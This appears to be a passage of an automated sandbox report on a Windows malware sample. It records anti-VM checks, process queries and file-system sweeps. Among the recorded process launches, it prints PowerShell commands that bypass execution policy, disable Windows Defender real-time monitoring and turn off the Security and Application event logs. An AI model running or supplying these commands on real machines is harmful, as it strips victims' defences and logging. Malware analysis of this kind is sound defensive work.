    Source: rZU3xTxOnl.exe, 00000000.00000003.1566788366.000001E547C19000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: ePXA5AScIvMCImrQWnUlK4F/6o1LRBi5HHuZNpAnWxvI=/
    Source: tasklist.exe, 00000005.00000002.1419116432.00000263767BE000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: cQuery(SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process WHERE Caption = 'VMWARE');
    Source: tasklist.exe, 00000005.00000002.1419116432.00000263767BE000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process WHERE Caption = 'VMWARE'|vc
    Source: tasklist.exe, 00000005.00000002.1418995841.0000026376780000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: "tasklist" /fi "IMAGENAME eq vmware"
    Source: rZU3xTxOnl.exe, 00000000.00000003.1649584436.000001E545B56000.00000004.00000020.00020000.00000000.sdmp, rZU3xTxOnl.exe, 00000000.00000002.1650227062.000001E545B56000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
    Source: rZU3xTxOnl.exe, 00000000.00000003.1649090351.000001E547982000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: [10/05/23 09:00:55.304][MicrosoftEdgeUpdate:msedgeupdate][8164:8148][DllEntry]["C:\Program Files (x86)\Microsoft\EdgeUpdate\MicrosoftEdgeUpdate.exe" /ping PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0iVVRGLTgiPz48cmVxdWVzdCBwcm90b2NvbD0iMy4wIiB1cGRhdGVyPSJPbWFoYSIgdXBkYXRlcnZlcnNpb249IjEuMy4xNzcuMTEiIHNoZWxsX3ZlcnNpb249IjEuMy4xNDcuMzciIGlzbWFjaGluZT0iMSIgc2Vzc2lvbmlkPSJ7RDI1MUFGM0ItQkIzNS00RDJELThFOTYtMTk2NTU1QzVGOTRCfSIgdXNlcmlkPSJ7NTQ1Q0Y0MjgtNTk4RS00OEU5LThCRkItQzk3REVFN0QzNTU4fSIgaW5zdGFsbHNvdXJjZT0ic2NoZWR1bGVyIiByZXF1ZXN0aWQ9Ins4MTlGNTQ4Ny05MThDLTRFNkQtQTZGMC0yQ0FCRTIxRTI4Rjh9IiBkZWR1cD0iY3IiIGRvbWFpbmpvaW5lZD0iMCI-PGh3IGxvZ2ljYWxfY3B1cz0iMiIgcGh5c21lbW9yeT0iNCIgZGlza190eXBlPSIyIiBzc2U9IjEiIHNzZTI9IjEiIHNzZTM9IjEiIHNzc2UzPSIxIiBzc2U0MT0iMSIgc3NlNDI9IjEiIGF2eD0iMSIvPjxvcyBwbGF0Zm9ybT0id2luIiB2ZXJzaW9uPSIxMC4wLjE5MDQ1LjIwMDYiIHNwPSIiIGFyY2g9Ing2NCIgcHJvZHVjdF90eXBlPSI0OCIgb3NfcmVnaW9uX25hbWU9IkNIIiBvc19yZWdpb25fbmF0aW9uPSIyMjMiIG9zX3JlZ2lvbl9kbWE9IjAiIGlzX3dpcD0iMCIgaXNfaW5fbG9ja2Rvd25fbW9kZT0iMCIvPjxvZW0gcHJvZHVjdF9tYW51ZmFjdHVyZXI9IlZNd2FyZSwgSW5jLiIgcHJvZHVjdF9uYW1lPSJWTXdhcmUyMCwxIi8-PGV4cCBldGFnPSImcXVvdDtWUFFvUDFGK2ZxMTV3UnpoMWtQTDRQTXBXaDhPUk1CNWl6dnJPQy9jaGpRPSZxdW90OyIvPjxhcHAgYXBwaWQ9IntGM0M0RkUwMC1FRkQ1LTQwM0ItOTU2OS0zOThBMjBGMUJBNEF9IiB2ZXJzaW9uPSIxLjMuMTc3LjExIiBuZXh0dmVyc2lvbj0iIiBsYW5nPSIiIGJyYW5kPSJJTkJYIiBjbGllbnQ9IiIgaW5zdGFsbGFnZT0iMSIgY29ob3J0PSJycmZAMC4yNCI-PHVwZGF0ZWNoZWNrLz48cGluZyByPSIyIiByZD0iNjExOSIgcGluZ19mcmVzaG5lc3M9Ins0OUY1OTRFMy01OUQ0LTRENzctOUJDRC1DREM4QjY2QkNGRTB9Ii8-PC9hcHA-PGFwcCBhcHBpZD0iezU2RUIxOEY4LUIwMDgtNENCRC1CNkQyLThDOTdGRTdFOTA2Mn0iIHZlcnNpb249IjExNy4wLjIwNDUuNDciIG5leHR2ZXJzaW9uPSIiIGxhbmc9IiIgYnJhbmQ9IklOQlgiIGNsaWVudD0iIiBleHBlcmltZW50cz0iY29uc2VudD1mYWxzZSIgY29ob3J0PSJycmZAMC4wNyIgb29iZV9pbnN0YWxsX3RpbWU9IjE4NDQ2NzQ0MDczNzA5NTUxNjA2IiB1cGRhdGVfY291bnQ9IjEiPjx1cGRhdGVjaGVjay8-PHBpbmcgYWN0aXZlPSIxIiBhPSIyIiByPSIyIiBhZD0iNjExOSIgcmQ9IjYxMTkiIHBpbmdfZnJlc2huZXNzPSJ7MTA2QzQwREUtNUU4Ni00N0E3LUJFMzMtRUJFOTRGMTRBMzhGfSIvPjwvYXBwPjxhcHAgYXBwaWQ9IntGMzAxNzIyNi1GRTJBLTQyOTUtOEJERi0wMEMzQTlBN0U0QzV9IiB2ZXJzaW9uPSIxMTcuMC4yMDQ1LjQ3IiBuZXh0dmVyc2lvbj0iIiBsYW5nPSIiIGJyYW5kPSJHR0xTIiBjbGllbnQ9IiIgaW5zdGFsbGFnZT0iMSIgaW5zdGFsbGRhdGU9IjYxMTgiIGNvaG9ydD0icnJmQDAuNzUiPjx1cGRhdGVjaGVjay8-PHBpbmcgcj0iMiIgcmQ9IjYxMTkiIHBpbmdfZnJlc2huZXNzPSJ7RTJFMzhFMzMtREEyOS00MkZGLThFOTEtNkYwRkE4MkQ4MUVFfSIvPjwvYXBwPjwvcmVxdWVzdD4]
    Source: rZU3xTxOnl.exe, 00000000.00000003.1566788366.000001E547C19000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: lwKk1x5+9NJD0oC1Sm0PchOiV+3spsDahFOwVMcIA7E=!
    Source: rZU3xTxOnl.exe, 00000000.00000003.1649090351.000001E547982000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: [10/03/23 13:11:26.031][MicrosoftEdgeUpdate:msedgeupdate][6164:6168][Send][url=https://config.edge.skype.com/config/v1/EdgeUpdate/1.3.177.11?clientId=s:92C86F7C-DB2B-4F6A-95AD-98B4A2AE008A&appBrandCode_edgeupdate=INBX&appBrandCode_webview=GGLS&appChannel_edgeupdate=6&appChannel_webview=5&appCohort_edgeupdate=rrf@0.24&appCohort_webview=rrf@0.75&appConsentState_edgeupdate=0&appConsentState_webview=0&appDayOfInstall_edgeupdate=0&appDayOfInstall_webview=6118&appInactivityBadgeApplied_edgeupdate=0&appInactivityBadgeApplied_webview=0&appInactivityBadgeCleared_edgeupdate=0&appInactivityBadgeCleared_webview=0&appInactivityBadgeDuration_edgeupdate=0&appInactivityBadgeDuration_webview=0&appInstallTimeDiffSec_edgeupdate=0&appInstallTimeDiffSec_webview=0&appIsPinnedSystem_edgeupdate=false&appIsPinnedSystem_webview=false&appLastLaunchCount_edgeupdate=0&appLastLaunchCount_webview=0&appLastLaunchTime_edgeupdate=0&appLastLaunchTimeJson_edgeupdate=0&appLastLaunchTimeDaysAgo_edgeupdate=0&appLastLaunchTime_webview=0&appLastLaunchTimeJson_webview=0&appLastLaunchTimeDaysAgo_webview=0&appUpdateCheckIsUpdateDisabled_edgeupdate=false&appUpdateCheckIsUpdateDisabled_webview=false&appUpdatesAllowedForMeteredNetworks_edgeupdate=false&appUpdatesAllowedForMeteredNetworks_webview=false&appVersion_edgeupdate=1.3.177.11&appVersion_webview=117.0.2045.47&hwDiskType=2&hwHasSsse3=true&hwLogicalCpus=2&hwPhysmemory=4&isCTADevice=false&isMsftDomainJoined=false&oemProductManufacturer=VMware,%20Inc.&oemProductName=VMware20,1&osArch=x64&osIsDefaultNetworkConnectionMetered=false&osIsInLockdownMode=false&osIsWIP=false&osPlatform=win&osProductType=48&osVersion=10.0.19045.2006&requestCheckPeriodSec=-1&requestDomainJoined=false&requestInstallSource=scheduler&requestIsMachine=true&requestOmahaShellVersion=1.3.147.37&requestOmahaVersion=1.3.177.11][request=][filename=]
    Source: tasklist.exe, 00000005.00000002.1419116432.00000263767BE000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: tasklist/fiIMAGENAME eq vmware2@_
    Source: rZU3xTxOnl.exe, 00000000.00000003.1649090351.000001E547982000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: [10/05/23 09:00:55.319][MicrosoftEdgeUpdate:msedgeupdate][8164:8148][Send][url=https://config.edge.skype.com/config/v1/EdgeUpdate/1.3.177.11?clientId=s:92C86F7C-DB2B-4F6A-95AD-98B4A2AE008A&appBrandCode_edgeupdate=INBX&appBrandCode_stable=INBX&appBrandCode_webview=GGLS&appChannel_edgeupdate=6&appChannel_stable=4&appChannel_webview=5&appCohort_edgeupdate=rrf@0.24&appCohort_stable=rrf@0.07&appCohort_webview=rrf@0.75&appConsentState_edgeupdate=0&appConsentState_stable=0&appConsentState_webview=0&appDayOfInstall_edgeupdate=0&appDayOfInstall_stable=0&appDayOfInstall_webview=6118&appInactivityBadgeApplied_edgeupdate=0&appInactivityBadgeApplied_stable=0&appInactivityBadgeApplied_webview=0&appInactivityBadgeCleared_edgeupdate=0&appInactivityBadgeCleared_stable=0&appInactivityBadgeCleared_webview=0&appInactivityBadgeDuration_edgeupdate=0&appInactivityBadgeDuration_stable=0&appInactivityBadgeDuration_webview=0&appInstallTimeDiffSec_edgeupdate=86400&appInstallTimeDiffSec_stable=0&appInstallTimeDiffSec_webview=86400&appIsPinnedSystem_edgeupdate=false&appIsPinnedSystem_stable=false&appIsPinnedSystem_webview=false&appLastLaunchCount_edgeupdate=0&appLastLaunchCount_stable=0&appLastLaunchCount_webview=0&appLastLaunchTime_edgeupdate=0&appLastLaunchTimeJson_edgeupdate=0&appLastLaunchTimeDaysAgo_edgeupdate=0&appLastLaunchTime_stable=0&appLastLaunchTimeJson_stable=0&appLastLaunchTimeDaysAgo_stable=0&appLastLaunchTime_webview=0&appLastLaunchTimeJson_webview=0&appLastLaunchTimeDaysAgo_webview=0&appUpdateCheckIsUpdateDisabled_edgeupdate=false&appUpdateCheckIsUpdateDisabled_stable=false&appUpdateCheckIsUpdateDisabled_webview=false&appUpdatesAllowedForMeteredNetworks_edgeupdate=false&appUpdatesAllowedForMeteredNetworks_stable=false&appUpdatesAllowedForMeteredNetworks_webview=false&appVersion_edgeupdate=1.3.177.11&appVersion_stable=117.0.2045.47&appVersion_webview=117.0.2045.47&hwDiskType=2&hwHasSsse3=true&hwLogicalCpus=2&hwPhysmemory=4&isCTADevice=false&isMsftDomainJoined=false&oemProductManufacturer=VMware,%20Inc.&oemProductName=VMware20,1&osArch=x64&osIsDefaultNetworkConnectionMetered=false&osIsInLockdownMode=false&osIsWIP=false&osPlatform=win&osProductType=48&osVersion=10.0.19045.2006&requestCheckPeriodSec=-1&requestDomainJoined=false&requestInstallSource=scheduler&requestIsMachine=true&requestOmahaShellVersion=1.3.147.37&requestOmahaVersion=1.3.177.11][request=][filename=]
    Source: rZU3xTxOnl.exe, 00000000.00000003.1566788366.000001E547C19000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: PXA5AScIvMCImrQWnUlK4F/6o1LRBi5HHuZNpAnWxvI=+
    Source: rZU3xTxOnl.exe, 00000000.00000003.1649090351.000001E547982000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: [10/03/23 13:06:04.175][MicrosoftEdgeUpdate:msedgeupdate][8536:732][Send][url=https://config.edge.skype.com/config/v1/EdgeUpdate/1.3.177.11?clientId=s:92C86F7C-DB2B-4F6A-95AD-98B4A2AE008A&appChannel_webview=5&appConsentState_webview=0&appDayOfInstall_webview=-1&appInactivityBadgeApplied_webview=0&appInactivityBadgeCleared_webview=0&appInactivityBadgeDuration_webview=0&appInstallTimeDiffSec_webview=-86400&appIsPinnedSystem_webview=false&appLastLaunchCount_webview=0&appLastLaunchTime_webview=0&appLastLaunchTimeJson_webview=0&appLastLaunchTimeDaysAgo_webview=0&appVersion_webview=117.0.2045.47&appUpdateCheckIsUpdateDisabled_webview=false&appUpdatesAllowedForMeteredNetworks_webview=false&hwDiskType=2&hwHasSsse3=true&hwLogicalCpus=2&hwPhysmemory=4&isCTADevice=false&isMsftDomainJoined=false&oemProductManufacturer=VMware,%20Inc.&oemProductName=VMware20,1&osArch=x64&osIsDefaultNetworkConnectionMetered=false&osIsInLockdownMode=false&osIsWIP=false&osPlatform=win&osProductType=48&osVersion=10.0.19045.2006&requestCheckPeriodSec=-1&requestDomainJoined=false&requestInstallSource=otherinstallcmd&requestIsMachine=true&requestOmahaShellVersion=1.3.147.37&requestOmahaVersion=1.3.177.11][request=][filename=]
    Source: rZU3xTxOnl.exe, 00000000.00000003.1566788366.000001E547C19000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: nHfHDfN6bsbeT8o/5kyYSl66SsuWvyQeMuXDlHbQfqo=9
    Source: rZU3xTxOnl.exe, 00000000.00000003.1566788366.000001E547C19000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: A8eXZTvg7YGvCcJUzyxbHGFSKXp/UmDdgVxDyBqqswI=e*1
    Source: tasklist.exe, 00000005.00000002.1419186136.00000263767D4000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: ernelModeTime, UserModeTime FROM Win32_Process WHERE Caption = 'VMWARE'
    Source: tasklist.exe, 00000005.00000002.1419204462.00000263769D5000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: > WHERE Caption = 'VMWARE'2\Wbem;C:\Windows\System32\WindowsPoerShell
    Source: rZU3xTxOnl.exe, 00000000.00000003.1649090351.000001E547982000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: [10/05/23 09:00:54.241][MicrosoftEdgeUpdate:msedgeupdate][7476:8116][Send][url=https://msedge.api.cdp.microsoft.com/api/v2/contents/Browser/namespaces/Default/names?action=batchupdates][request=[{"Product":"msedgeupdate-stable-win-x86","targetingAttributes":{"AppAp":"","AppBrandCode":"INBX","AppCohort":"rrf@0.24","AppCohortHint":"","AppCohortName":"","AppLang":"","AppMajorVersion":"1","AppRollout":0.24,"AppTargetVersionPrefix":"","AppVersion":"1.3.177.11","ExpETag":"\"VPQoP1F+fq15wRzh1kPL4PMpWh8ORMB5izvrOC/chjQ=\"","HW_AVX":true,"HW_DiskType":2,"HW_LogicalCpus":2,"HW_PhysicalRamGB":4,"HW_SSE":true,"HW_SSE2":true,"HW_SSE3":true,"HW_SSE41":true,"HW_SSE42":true,"HW_SSSE3":true,"InstallSource":"scheduler","IsInternalUser":false,"IsMachine":true,"IsWIP":false,"OemProductManufacturer":"VMware, Inc.","OemProductName":"VMware20,1","OsArch":"x64","OsPlatform":"win","OsRegionDMA":false,"OsRegionName":"CH","OsRegionNation":"223","OsVersion":"10.0.19045.2006","Priority":0,"Updater":"MicrosoftEdgeUpdate","UpdaterVersion":"1.3.177.11","WIPBranch":""}},{"Product":"msedge-stable-win-x64","targetingAttributes":{"AppAp":"","AppBrandCode":"INBX","AppCohort":"","AppCohortHint":"","AppCohortName":"","AppLang":"","AppMajorVersion":"117","AppRollout":0.64,"AppTargetVersionPrefix":"","AppVersion":"117.0.2045.47","ExpETag":"\"VPQoP1F+fq15wRzh1kPL4PMpWh8ORMB5izvrOC/chjQ=\"","HW_AVX":true,"HW_DiskType":2,"HW_LogicalCpus":2,"HW_PhysicalRamGB":4,"HW_SSE":true,"HW_SSE2":true,"HW_SSE3":true,"HW_SSE41":true,"HW_SSE42":true,"HW_SSSE3":true,"InstallSource":"scheduler","IsInternalUser":false,"IsMachine":true,"IsWIP":false,"OemProductManufacturer":"VMware, Inc.","OemProductName":"VMware20,1","OsArch":"x64","OsPlatform":"win","OsRegionDMA":false,"OsRegionName":"CH","OsRegionNation":"223","OsVersion":"10.0.19045.2006","Priority":0,"Updater":"MicrosoftEdgeUpdate","UpdaterVersion":"1.3.177.11","WIPBranch":""}},{"Product":"msedgewebview-stable-win-x64","targetingAttributes":{"AppAp":"","AppBrandCode":"GGLS","AppCohort":"rrf@0.75","AppCohortHint":"","AppCohortName":"","AppLang":"","AppMajorVersion":"117","AppRollout":0.75,"AppTargetVersionPrefix":"","AppVersion":"117.0.2045.47","ExpETag":"\"VPQoP1F+fq15wRzh1kPL4PMpWh8ORMB5izvrOC/chjQ=\"","HW_AVX":true,"HW_DiskType":2,"HW_LogicalCpus":2,"HW_PhysicalRamGB":4,"HW_SSE":true,"HW_SSE2":true,"HW_SSE3":true,"HW_SSE41":true,"HW_SSE42":true,"HW_SSSE3":true,"InstallSource":"scheduler","IsInternalUser":false,"IsMachine":true,"IsWIP":false,"OemProductManufacturer":"VMware, Inc.","OemProductName":"VMware20,1","OsArch":"x64","OsPlatform":"win","OsRegionDMA":false,"OsRegionName":"CH","OsRegionNation":"223","OsVersion":"10.0.19045.2006","Priority":0,"Updater":"MicrosoftEdgeUpdate","UpdaterVersion":"1.3.177.11","WIPBranch":""}}]][filename=]
    Source: tasklist.exe, 00000005.00000002.1419204462.00000263769D0000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: tasklist/fiIMAGENAME eq vmware\UsersS
    Source: rZU3xTxOnl.exe, 00000000.00000003.1649090351.000001E547982000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: [10/03/23 13:10:48.035][MicrosoftEdgeUpdate:msedgeupdate][4220:5516][Send][url=https://msedge.api.cdp.microsoft.com/api/v2/contents/Browser/namespaces/Default/names?action=batchupdates][request=[{"Product":"msedgeupdate-stable-win-x86","targetingAttributes":{"AppAp":"","AppBrandCode":"INBX","AppCohort":"","AppCohortHint":"","AppCohortName":"","AppLang":"","AppMajorVersion":"1","AppRollout":0.72,"AppTargetVersionPrefix":"","AppVersion":"1.3.177.11","ExpETag":"\"qWJSzWwPfdcLR+XGIv6xrZfiYOxhPU2s1NWmjWcaFPg=\"","HW_AVX":true,"HW_DiskType":2,"HW_LogicalCpus":2,"HW_PhysicalRamGB":4,"HW_SSE":true,"HW_SSE2":true,"HW_SSE3":true,"HW_SSE41":true,"HW_SSE42":true,"HW_SSSE3":true,"InstallSource":"scheduler","IsInternalUser":false,"IsMachine":true,"IsWIP":false,"OemProductManufacturer":"VMware, Inc.","OemProductName":"VMware20,1","OsArch":"x64","OsPlatform":"win","OsRegionDMA":false,"OsRegionName":"CH","OsRegionNation":"223","OsVersion":"10.0.19045.2006","Priority":0,"Updater":"MicrosoftEdgeUpdate","UpdaterVersion":"1.3.177.11","WIPBranch":""}},{"Product":"msedge-stable-win-x64","targetingAttributes":{"AppAp":"","AppBrandCode":"INBX","AppCohort":"","AppCohortHint":"","AppCohortName":"","AppLang":"","AppMajorVersion":"92","AppRollout":0.65,"AppTargetVersionPrefix":"","AppVersion":"92.0.902.67","ExpETag":"\"qWJSzWwPfdcLR+XGIv6xrZfiYOxhPU2s1NWmjWcaFPg=\"","HW_AVX":true,"HW_DiskType":2,"HW_LogicalCpus":2,"HW_PhysicalRamGB":4,"HW_SSE":true,"HW_SSE2":true,"HW_SSE3":true,"HW_SSE41":true,"HW_SSE42":true,"HW_SSSE3":true,"InstallSource":"scheduler","IsInternalUser":false,"IsMachine":true,"IsWIP":false,"OemProductManufacturer":"VMware, Inc.","OemProductName":"VMware20,1","OsArch":"x64","OsPlatform":"win","OsRegionDMA":false,"OsRegionName":"CH","OsRegionNation":"223","OsVersion":"10.0.19045.2006","Priority":0,"Updater":"MicrosoftEdgeUpdate","UpdaterVersion":"1.3.177.11","WIPBranch":""}},{"Product":"msedgewebview-stable-win-x64","targetingAttributes":{"AppAp":"","AppBrandCode":"GGLS","AppCohort":"","AppCohortHint":"","AppCohortName":"","AppLang":"","AppMajorVersion":"117","AppRollout":0.6,"AppTargetVersionPrefix":"","AppVersion":"117.0.2045.47","ExpETag":"\"qWJSzWwPfdcLR+XGIv6xrZfiYOxhPU2s1NWmjWcaFPg=\"","HW_AVX":true,"HW_DiskType":2,"HW_LogicalCpus":2,"HW_PhysicalRamGB":4,"HW_SSE":true,"HW_SSE2":true,"HW_SSE3":true,"HW_SSE41":true,"HW_SSE42":true,"HW_SSSE3":true,"InstallSource":"scheduler","IsInternalUser":false,"IsMachine":true,"IsWIP":false,"OemProductManufacturer":"VMware, Inc.","OemProductName":"VMware20,1","OsArch":"x64","OsPlatform":"win","OsRegionDMA":false,"OsRegionName":"CH","OsRegionNation":"223","OsVersion":"10.0.19045.2006","Priority":0,"Updater":"MicrosoftEdgeUpdate","UpdaterVersion":"1.3.177.11","WIPBranch":""}}]][filename=]
    Source: rZU3xTxOnl.exe, 00000000.00000003.1566788366.000001E547C19000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: eKcxqaYUpQemuF/g4XeY+/GN/5r9nu6fcwnr/bvuY4c=A
    Source: tasklist.exe, 00000005.00000002.1418995841.0000026376780000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: C:\Users\user\Desktop\C:\Windows\system32\tasklist.exe"tasklist" /fi "IMAGENAME eq vmware"C:\Windows\system32\tasklist.exeWinsta0\Default[
    Source: rZU3xTxOnl.exe, 00000000.00000003.1566788366.000001E547C19000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: eA8eXZTvg7YGvCcJUzyxbHGFSKXp/UmDdgVxDyBqqswI=/
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information queried: ProcessInformationJump to behavior
    Source: C:\Windows\System32\tasklist.exeProcess token adjusted: DebugJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess token adjusted: DebugJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess token adjusted: DebugJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess token adjusted: DebugJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess token adjusted: DebugJump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeMemory allocated: page read and write | page guardJump to behavior

    HIPS / PFW / Operating System Protection Evasion

    barindex
    Bypasses PowerShell execution policy
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command "Set-ExecutionPolicy Bypass -Scope Process -Force"
    Disables Windows Defender (via service or powershell)
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command "Set-MpPreference -DisableRealtimeMonitoring $true"
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command "Set-MpPreference -DisableRealtimeMonitoring $true"Jump to behavior
    Modifies Windows Defender protection settings
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command "Set-MpPreference -DisableRealtimeMonitoring $true"
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command "Set-MpPreference -DisableRealtimeMonitoring $true"Jump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeProcess created: C:\Windows\System32\net.exe "net" sessionJump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeProcess created: C:\Windows\System32\tasklist.exe "tasklist" /fi "IMAGENAME eq vmware"Jump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command "Set-MpPreference -DisableRealtimeMonitoring $true"Jump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command "wevtutil sl Security /e:false"Jump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command "wevtutil sl Application /e:false"Jump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command "Set-ExecutionPolicy Bypass -Scope Process -Force"Jump to behavior
    Source: C:\Windows\System32\net.exeProcess created: C:\Windows\System32\net1.exe C:\Windows\system32\net1 sessionJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\wevtutil.exe "C:\Windows\system32\wevtutil.exe" sl Security /e:falseJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\wevtutil.exe "C:\Windows\system32\wevtutil.exe" sl Application /e:falseJump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeQueries volume information: C:\ VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeQueries volume information: C:\$Recycle.Bin VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeQueries volume information: C:\$Recycle.Bin\S-1-5-21-2246122658-3693405117-2476756634-1000 VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeQueries volume information: C:\$Recycle.Bin\S-1-5-21-2246122658-3693405117-2476756634-1000\desktop.ini VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeQueries volume information: C:\$Recycle.Bin\S-1-5-21-2246122658-3693405117-2476756634-1000\desktop.ini VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeQueries volume information: C:\$Recycle.Bin\S-1-5-21-2246122658-3693405117-2476756634-1000\desktop.ini VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeQueries volume information: C:\$Recycle.Bin\S-1-5-21-2246122658-3693405117-2476756634-1001 VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeQueries volume information: C:\$Recycle.Bin\S-1-5-21-2246122658-3693405117-2476756634-1001\desktop.ini VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeQueries volume information: C:\$Recycle.Bin\S-1-5-21-2246122658-3693405117-2476756634-1001\desktop.ini VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeQueries volume information: C:\$Recycle.Bin\S-1-5-21-2246122658-3693405117-2476756634-1001\desktop.ini VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeQueries volume information: C:\$Recycle.Bin\S-1-5-21-2246122658-3693405117-2476756634-1002 VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeQueries volume information: C:\$Recycle.Bin\S-1-5-21-2246122658-3693405117-2476756634-1002\desktop.ini VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeQueries volume information: C:\$Recycle.Bin\S-1-5-21-2246122658-3693405117-2476756634-1002\desktop.ini VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeQueries volume information: C:\$Recycle.Bin\S-1-5-21-2246122658-3693405117-2476756634-1002\desktop.ini VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeQueries volume information: C:\$Recycle.Bin\S-1-5-21-2246122658-3693405117-2476756634-1003 VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeQueries volume information: C:\$Recycle.Bin\S-1-5-21-2246122658-3693405117-2476756634-1003\desktop.ini VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeQueries volume information: C:\$Recycle.Bin\S-1-5-21-2246122658-3693405117-2476756634-1003\desktop.ini VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeQueries volume information: C:\$Recycle.Bin\S-1-5-21-2246122658-3693405117-2476756634-1003\desktop.ini VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeQueries volume information: C:\$WinREAgent VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeQueries volume information: C:\$WinREAgent\Scratch VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeQueries volume information: C:\Users VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeQueries volume information: C:\ProgramData VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeQueries volume information: C:\ProgramData\.curlrc VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeQueries volume information: C:\ProgramData\Adobe VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeQueries volume information: C:\ProgramData\Adobe\ARM VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeQueries volume information: C:\ProgramData\Adobe\ARM\Acrobat_23.006.20320 VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeQueries volume information: C:\ProgramData\Adobe\ARM\{291AA914-A987-4CE9-BD63-0C0A92D435E5} VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeQueries volume information: C:\ProgramData VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeQueries volume information: C:\ProgramData\.curlrc VolumeInformationJump to behavior
